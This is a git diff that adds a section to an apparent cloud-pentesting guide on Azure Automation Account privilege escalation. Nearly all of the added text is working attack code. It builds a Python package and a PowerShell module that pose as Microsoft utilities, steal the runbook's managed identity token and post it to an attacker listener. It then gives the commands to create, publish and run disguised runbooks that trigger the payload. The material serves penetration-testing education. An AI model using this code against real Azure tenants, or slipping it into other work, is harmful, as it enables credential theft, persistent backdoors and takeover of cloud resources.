diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md index c8a852f2f..74772aa46 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md @@ -317,3 +317,287 @@ The scheduled task executes the payload, achieving SYSTEM-level privileges. {{#include ../../../banners/hacktricks-training.md}} +### `Microsoft.Automation/automationAccounts/python3Packages/write`, `Microsoft.Automation/automationAccounts/runbooks/write`, `Microsoft.Automation/automationAccounts/runbooks/publish/action`, `Microsoft.Automation/automationAccounts/jobs/write` + +#### Automation - Malicious Python Packages + +Automation accounts support **custom Python packages** that extend the functionality of runbooks. These packages execute inside the runbook container with the **same identity and permissions** as the runbook itself (like a system managed identity). + +Having the ability to write to the automation account's module store, you can **backdoor a package** and get **persistent code execution** every time a runbook imports that module. + +Additionally, this same process can be done for **custom runtime environments** and reassign an existing runbook to it. + +> [!TIP] +> This technique does not require modifying any existing runbook code. Once the malicious package is imported, **any runbook** that imports it will execute your payload automatically. + +This command will disclose any python packages that exist: + +```bash +az rest --method GET \ + --url "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Automation/automationAccounts/$AUTOMATION_ACCOUNT/python3Packages?api-version=2023-11-01" \ + --query "value[].{Name:name, Version:properties.version}" -o table +``` + +Create the setup to compile the python package: + +```bash +cat > setup.py << 'EOF' +import setuptools + +with open("README.md", "r") as fh: + long_description = fh.read() + +setuptools.setup( + name="az_log_helper", + version="1.0.2", + author="Azure Utilities", + author_email="azutils@microsoft.com", + description="Helper utilities for Azure Log Analytics integration.", + long_description=long_description, + long_description_content_type="text/markdown", + packages=setuptools.find_packages(), + python_requires='>=3.8', +) +EOF +``` + +Create the `__init__.py` to import everything from az\_log\_helper and create the python script to **exfiltrate a managed identity token** to your listener: + +```bash +mkdir -p az_log_helper +cat > az_log_helper/__init__.py << 'EOF' +from .az_log_helper import * +EOF + +cat > az_log_helper/az_log_helper.py << 'EOF' +import os +import requests +import json + +endpoint_url = "https:///" +identity_endpoint = os.getenv('IDENTITY_ENDPOINT') + +if identity_endpoint: + params = { + 'api-version': '2018-02-01', + 'resource': 'https://management.azure.com/' + } + headers = { + 'Metadata': 'true' + } + + try: + response = requests.get(identity_endpoint, params=params, headers=headers) + response.raise_for_status() + token = response.json() + requests.post(endpoint_url, + headers={'Content-Type': 'application/json'}, + data=json.dumps({'token': token})) + except requests.exceptions.RequestException: + pass +EOF +``` + +Build the python package so it can be uploaded to Azure: + +```bash +pip install wheel --break-system-packages 2>/dev/null +python3 setup.py bdist_wheel +``` + +Provision a new runbook to execute the python package at runtime: + +```bash +NEW_RUNBOOK_PY="check-ssl-expiry" + +az rest --method PUT \ + --url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/runbooks/${NEW_RUNBOOK_PY}?api-version=2023-11-01" \ + --body "{ + \"location\": \"centralus\", + \"properties\": { + \"runbookType\": \"Python3\", + \"description\": \"SSL certificate expiry checker\", + \"logProgress\": false, + \"logVerbose\": false + } + }" +``` + +Upload the file contents into the runbook to load the python package when it runs, and then publish the runbook: + +```bash +cat > /tmp/py_runbook.py << 'EOF' +import az_log_helper +print("Log collection check complete.") +EOF + +az rest --method PUT \ + --url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/runbooks/${NEW_RUNBOOK_PY}/draft/content?api-version=2023-11-01" \ + --headers "Content-Type=text/powershell" \ + --body @/tmp/py_runbook.py +``` + +Publish the runbook: + +```bash +az automation runbook publish \ + --resource-group $RESOURCE_GROUP \ + --automation-account-name $AUTOMATION_ACCOUNT \ + --name $NEW_RUNBOOK_PY +``` + +Fire the runbook: + +```bash +az rest --method PUT \ + --url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/$(uuidgen)?api-version=2023-11-01" \ + --body "{ + \"properties\": { + \"runbook\": { \"name\": \"${NEW_RUNBOOK_PY}\" } + } + }" +``` + +Once the runbook executes, the **managed identity token** is exfiltrated to your listener. + +### `Microsoft.Automation/automationAccounts/modules/write`, `Microsoft.Automation/automationAccounts/runbooks/write`, `Microsoft.Automation/automationAccounts/runbooks/publish/action`, `Microsoft.Automation/automationAccounts/jobs/write` + +#### Automation - Malicious Modules + +A minimal PowerShell module is just **two file types**: a `.psd1` manifest and a `.psm1` containing the code. The `.psd1` and `.psm1` filenames **must match the name of the `.zip`** exactly. + +> [!TIP] +> This technique is the PowerShell equivalent of the Python package backdoor above. Custom modules are loaded at runtime with the **same privileges** as the runbook's managed identity. + +The following command lists existing modules: + +```bash +az rest --method GET \ + --url "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Automation/automationAccounts/$AUTOMATION_ACCOUNT/modules?api-version=2023-11-01" \ + --query "value[].{Name:name, Version:properties.version, IsGlobal:properties.isGlobal}" -o table +``` + +Create the module manifest (`.psd1`): + +```bash +cat > .psd1 << 'EOF' +@{ + RootModule = '.psm1' + ModuleVersion = '2.1.0' + GUID = 'a3b2c1d4-e5f6-7890-abcd-ef1234567890' + Author = 'Microsoft Corporation' + CompanyName = 'Microsoft' + Copyright = '(c) Microsoft Corporation. All rights reserved.' + FunctionsToExport = @('Invoke-AzNetworkDiagnostic') + CmdletsToExport = @() + VariablesToExport = @() + AliasesToExport = @() +} +EOF +``` + +Create the module code (`.psm1`) with the **token exfiltration payload**: + +```bash +cat > .psm1 << 'EOF' +function Invoke-AzNetworkDiagnostic { + $SuppressAzurePowerShellBreakingChangeWarnings = $true + Connect-AzAccount -Identity | Out-Null + $token = Get-AzAccessToken | ConvertTo-Json + Invoke-RestMethod -Uri "https:///" -Method Post -Body $token | Out-Null +} + +Export-ModuleMember -Function Invoke-AzNetworkDiagnostic +EOF +``` + +Zip the module and upload it via the Azure portal. **The `.zip` name must match the `.psd1` and `.psm1` filenames exactly.** + +```bash +zip .zip .psd1 .psm1 +``` + +After uploading, verify the module is successfully imported: + +```bash +az rest --method GET \ + --url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/powershell72Modules/?api-version=2023-11-01" \ + --query "properties.provisioningState" + +# Expected output: "Succeeded" +``` + +Get the location of the automation account and create a new runbook that imports the malicious module: + +```bash +LOCATION=$(az automation account show \ + --resource-group $RESOURCE_GROUP \ + --name $AUTOMATION_ACCOUNT \ + --query location -o tsv) + +NEW_RUNBOOK="diagnostics-health-check" + +az rest --method PUT \ + --url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/runbooks/${NEW_RUNBOOK}?api-version=2023-11-01" \ + --body "{ + \"location\": \"${LOCATION}\", + \"properties\": { + \"runbookType\": \"PowerShell72\", + \"description\": \"Network diagnostics health check\", + \"logProgress\": false, + \"logVerbose\": false + } + }" +``` + +Upload runbook content that calls the backdoored module function: + +```bash +cat > /tmp/ps_runbook.ps1 << 'EOF' +Import-Module +Invoke-AzNetworkDiagnostic +Write-Output "Diagnostics complete." +EOF + +az rest --method PUT \ + --url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/runbooks/${NEW_RUNBOOK}/draft/content?api-version=2023-11-01" \ + --headers "Content-Type=text/powershell" \ + --body @/tmp/ps_runbook.ps1 +``` + +Publish the runbook and fire a job: + +```bash +az automation runbook publish \ + --resource-group $RESOURCE_GROUP \ + --automation-account-name $AUTOMATION_ACCOUNT \ + --name $NEW_RUNBOOK + +az rest --method PUT \ + --url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/$(uuidgen)?api-version=2023-11-01" \ + --body "{ + \"properties\": { + \"runbook\": { \"name\": \"${NEW_RUNBOOK}\" } + } + }" +``` + +Within a minute the **managed identity token** is exfiltrated to your listener. + +For troubleshooting, obtain the job ID and check the job streams for errors: + +```bash +# Get job ID from the job creation output, or list recent jobs +JOB_ID=$(az rest --method PUT \ + --url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/$(uuidgen)?api-version=2023-11-01" \ + --body "{ + \"properties\": { + \"runbook\": { \"name\": \"${NEW_RUNBOOK}\" } + } + }" --query "name" -o tsv) + +# Check job output streams +az rest --method GET \ + --url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/${JOB_ID}/streams?api-version=2023-11-01" +``` +